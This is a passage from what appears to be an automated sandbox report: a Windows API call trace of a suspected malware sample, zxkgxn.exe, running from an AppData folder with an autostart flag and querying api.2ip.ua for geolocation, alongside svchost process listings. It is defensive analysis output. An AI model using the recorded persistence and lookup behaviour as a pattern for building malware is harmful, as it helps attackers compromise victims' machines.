\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa0\x55\x19\x44\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0059.273] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0059.273] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x6cc958 [0059.273] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x4121fd [0059.274] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.274] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.274] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.274] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.274] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x110) returned 0x6cd160 [0059.274] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.275] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x6ca6c0 [0059.275] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.275] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.275] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.275] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc6a8) returned 0x80 [0059.276] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.325] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x40) returned 0x6c08a0 [0059.325] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) Thread: id = 99 os_tid = 0xb98 Thread: id = 100 os_tid = 0xb9c Thread: id = 101 os_tid = 0xba0 Thread: id = 102 os_tid = 0xba4 Thread: id = 103 os_tid = 0xba8 Thread: id = 104 os_tid = 0xbac Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xb3c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 49 os_tid = 0x648 Thread: id = 50 os_tid = 0x7f8 Thread: id = 51 os_tid = 0x430 Thread: id = 52 os_tid = 0x268 Thread: id = 53 os_tid = 0x768 Thread: id = 54 os_tid = 0x764 Thread: id = 55 os_tid = 0x760 Thread: id = 56 os_tid = 0x75c Thread: id = 57 os_tid = 0x70c Thread: id = 58 os_tid = 0x6e8 Thread: id = 59 os_tid = 0x6d8 Thread: id = 60 os_tid = 0x6d4 Thread: id = 61 os_tid = 0x6c8 Thread: id = 62 os_tid = 0x6c0 Thread: id = 63 os_tid = 0x6b8 Thread: id = 64 os_tid = 0x6a4 Thread: id = 65 os_tid = 0x6a0 Thread: id = 66 os_tid = 0x690 Thread: id = 67 os_tid = 0x67c Thread: id = 68 os_tid = 0x490 Thread: id = 69 os_tid = 0x454 Thread: id = 70 os_tid = 0x450 Thread: id = 71 os_tid = 0x428 Thread: id = 72 os_tid = 0x424 Thread: id = 73 os_tid = 0x420 Thread: id = 74 os_tid = 0x404 Thread: id = 75 os_tid = 0x18c Thread: id = 76 os_tid = 0xf0 Thread: id = 77 os_tid = 0xc8 Thread: id = 78 os_tid = 0x3f0 Thread: id = 79 os_tid = 0x3e4 Thread: id = 80 os_tid = 0x398 Thread: id = 81 os_tid = 0x394 Thread: id = 82 os_tid = 0x390 Thread: id = 83 os_tid = 0x38c Thread: id = 84 os_tid = 0x378 Thread: id = 85 os_tid = 0x370 Thread: id = 87 os_tid = 0xb64 Thread: id = 88 os_tid = 0xb68 Thread: id = 89 os_tid = 0xb6c Thread: id = 90 os_tid = 0xb70 Thread: id = 91 os_tid = 0xb74 Thread: id = 92 os_tid = 0xb78 Thread: id = 93 os_tid = 0xb7c Thread: id = 94 os_tid = 0xb80 Thread: id = 95 os_tid = 0xb84 Thread: id = 96 os_tid = 0xb88 Thread: id = 97 os_tid = 0xb90 Thread: id = 98 os_tid = 0xb94 Thread: id = 153 os_tid = 0x8d8 Thread: id = 154 os_tid = 0x8d4 Thread: id = 155 os_tid = 0x920 Thread: id = 156 os_tid = 0x328 Thread: id = 157 os_tid = 0x7e4 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 106 os_tid = 0xad4 Thread: id = 107 os_tid = 0x990 Thread: id = 108 os_tid = 0x958 Thread: id = 109 os_tid = 0x94c Thread: id = 110 os_tid = 0x948 Thread: id = 111 os_tid = 0x754 Thread: id = 112 os_tid = 0x704 Thread: id = 113 os_tid = 0x6e0 Thread: id = 114 os_tid = 0x6b0 Thread: id = 115 os_tid = 0x698 Thread: id = 116 os_tid = 0x678 Thread: id = 117 os_tid = 0x630 Thread: id = 118 os_tid = 0x610 Thread: id = 119 os_tid = 0x14c Thread: id = 120 os_tid = 0x140 Thread: id = 121 os_tid = 0x158 Thread: id = 122 os_tid = 0x294 Thread: id = 123 os_tid = 0x218 Thread: id = 124 os_tid = 0x230 Thread: id = 125 os_tid = 0x21c Thread: id = 126 os_tid = 0x1c4 Thread: id = 160 os_tid = 0x774 Thread: id = 161 os_tid = 0x738 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 127 os_tid = 0x970 Thread: id = 128 os_tid = 0x798 Thread: id = 129 os_tid = 0x3a0 Thread: id = 130 os_tid = 0x658 Thread: id = 131 os_tid = 0x584 Thread: id = 132 os_tid = 0x750 Thread: id = 133 os_tid = 0x730 Thread: id = 134 os_tid = 0x728 Thread: id = 135 os_tid = 0x674 Thread: id = 136 os_tid = 0x65c Thread: id = 137 os_tid = 0x144 Thread: id = 138 os_tid = 0x118 Thread: id = 139 os_tid = 0x3ec Thread: id = 140 os_tid = 0x3e8 Thread: id = 141 os_tid = 0x3e0 Thread: id = 142 os_tid = 0x3dc Thread: id = 143 os_tid = 0x3cc Thread: id = 144 os_tid = 0x3c8 Thread: id = 145 os_tid = 0x388 Thread: id = 146 os_tid = 0x384 Thread: id = 147 os_tid = 0x380 Thread: id = 148 os_tid = 0x37c Thread: id = 149 os_tid = 0x364 Thread: id = 150 os_tid = 0x360 Thread: id = 151 os_tid = 0x34c Thread: id = 152 os_tid = 0x338 Thread: id = 158 os_tid = 0x664 Process: id = "11" image_name = "zxkgxn.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" page_root = "0xe16000" os_pid = "0x4d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e216" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 162 os_tid = 0x4dc [0098.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x890509e0, dwHighDateTime=0x1d52f22)) [0098.477] GetCurrentThreadId () returned 0x4dc [0098.477] GetCurrentProcessId () returned 0x4d8 [0098.477] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=6183110777) returned 1 [0100.685] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77d2fd35, hStdError=0x77d97daf)) [0100.685] GetProcessHeap () returned 0x5c0000 [0100.686] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76150000 [0100.686] GetProcAddress (hModule=0x76150000, lpProcName="FlsAlloc") returned 0x76164f2b [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="FlsFree") returned 0x7616359f [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="FlsGetValue") returned 0x76161252 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="FlsSetValue") returned 0x76164208 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="InitializeCriticalSectionEx") returned 0x76164d28 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="CreateEventExW") returned 0x761e410b [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="CreateSemaphoreExW") returned 0x761e4195 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="SetThreadStackGuarantee") returned 0x7616d31f [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="CreateThreadpoolTimer") returned 0x7617ee7e [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="SetThreadpoolTimer") returned 0x77d5441c [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77d7c50e [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="CloseThreadpoolTimer") returned 0x77d7c381 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="CreateThreadpoolWait") returned 0x7617f088 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="SetThreadpoolWait") returned 0x77d605d7 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="CloseThreadpoolWait") returned 0x77d7ca24 [0100.687] GetProcAddress (hModule=0x76150000, lpProcName="FlushProcessWriteBuffers") returned 0x77d30b8c [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77defde8 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentProcessorNumber") returned 0x77d81e1d [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetLogicalProcessorInformation") returned 0x761e4761 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="CreateSymbolicLinkW") returned 0x761dcd11 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="EnumSystemLocalesEx") returned 0x761e424f [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="CompareStringEx") returned 0x761e46b1 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetDateFormatEx") returned 0x761f6676 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetLocaleInfoEx") returned 0x761e4751 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetTimeFormatEx") returned 0x761f65f1 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetUserDefaultLocaleName") returned 0x761e47c1 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="IsValidLocaleName") returned 0x761e47e1 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="LCMapStringEx") returned 0x761e47f1 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetCurrentPackageId") returned 0x0 [0100.688] GetProcAddress (hModule=0x76150000, lpProcName="GetTickCount64") returned 0x7617eee0 [0100.689] GetProcAddress (hModule=0x76150000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0100.689] GetProcAddress (hModule=0x76150000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0100.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3bc) returned 0x5d1f00 [0100.689] GetCurrentThreadId () returned 0x4dc [0100.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d0998 [0100.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5d22c8 [0100.689] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x412697, hStdOutput=0xf85aee02, hStdError=0x0)) [0100.689] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0100.689] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0100.689] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0100.689] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart" [0100.690] GetEnvironmentStringsW () returned 0x5d2ad0* [0100.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0100.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x581) returned 0x5d35e0 [0100.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x5d35e0, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0100.690] FreeEnvironmentStringsW (penv=0x5d2ad0) returned 1 [0100.690] GetLastError () returned 0x7f [0100.690] SetLastError (dwErrCode=0x7f) [0100.690] GetLastError () returned 0x7f [0100.690] SetLastError (dwErrCode=0x7f) [0100.690] GetLastError () returned 0x7f [0100.690] SetLastError (dwErrCode=0x7f) [0100.690] GetACP () returned 0x4e4 [0100.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x220) returned 0x5d3b70 [0100.690] GetLastError () returned 0x7f [0100.690] SetLastError (dwErrCode=0x7f) [0100.690] IsValidCodePage (CodePage=0x4e4) returned 1 [0100.690] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0100.690] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0100.690] GetLastError () returned 0x7f [0100.690] SetLastError (dwErrCode=0x7f) [0100.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.690] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0100.690] GetLastError () returned 0x7f [0100.691] SetLastError (dwErrCode=0x7f) [0100.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0101.138] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0101.144] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0101.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ 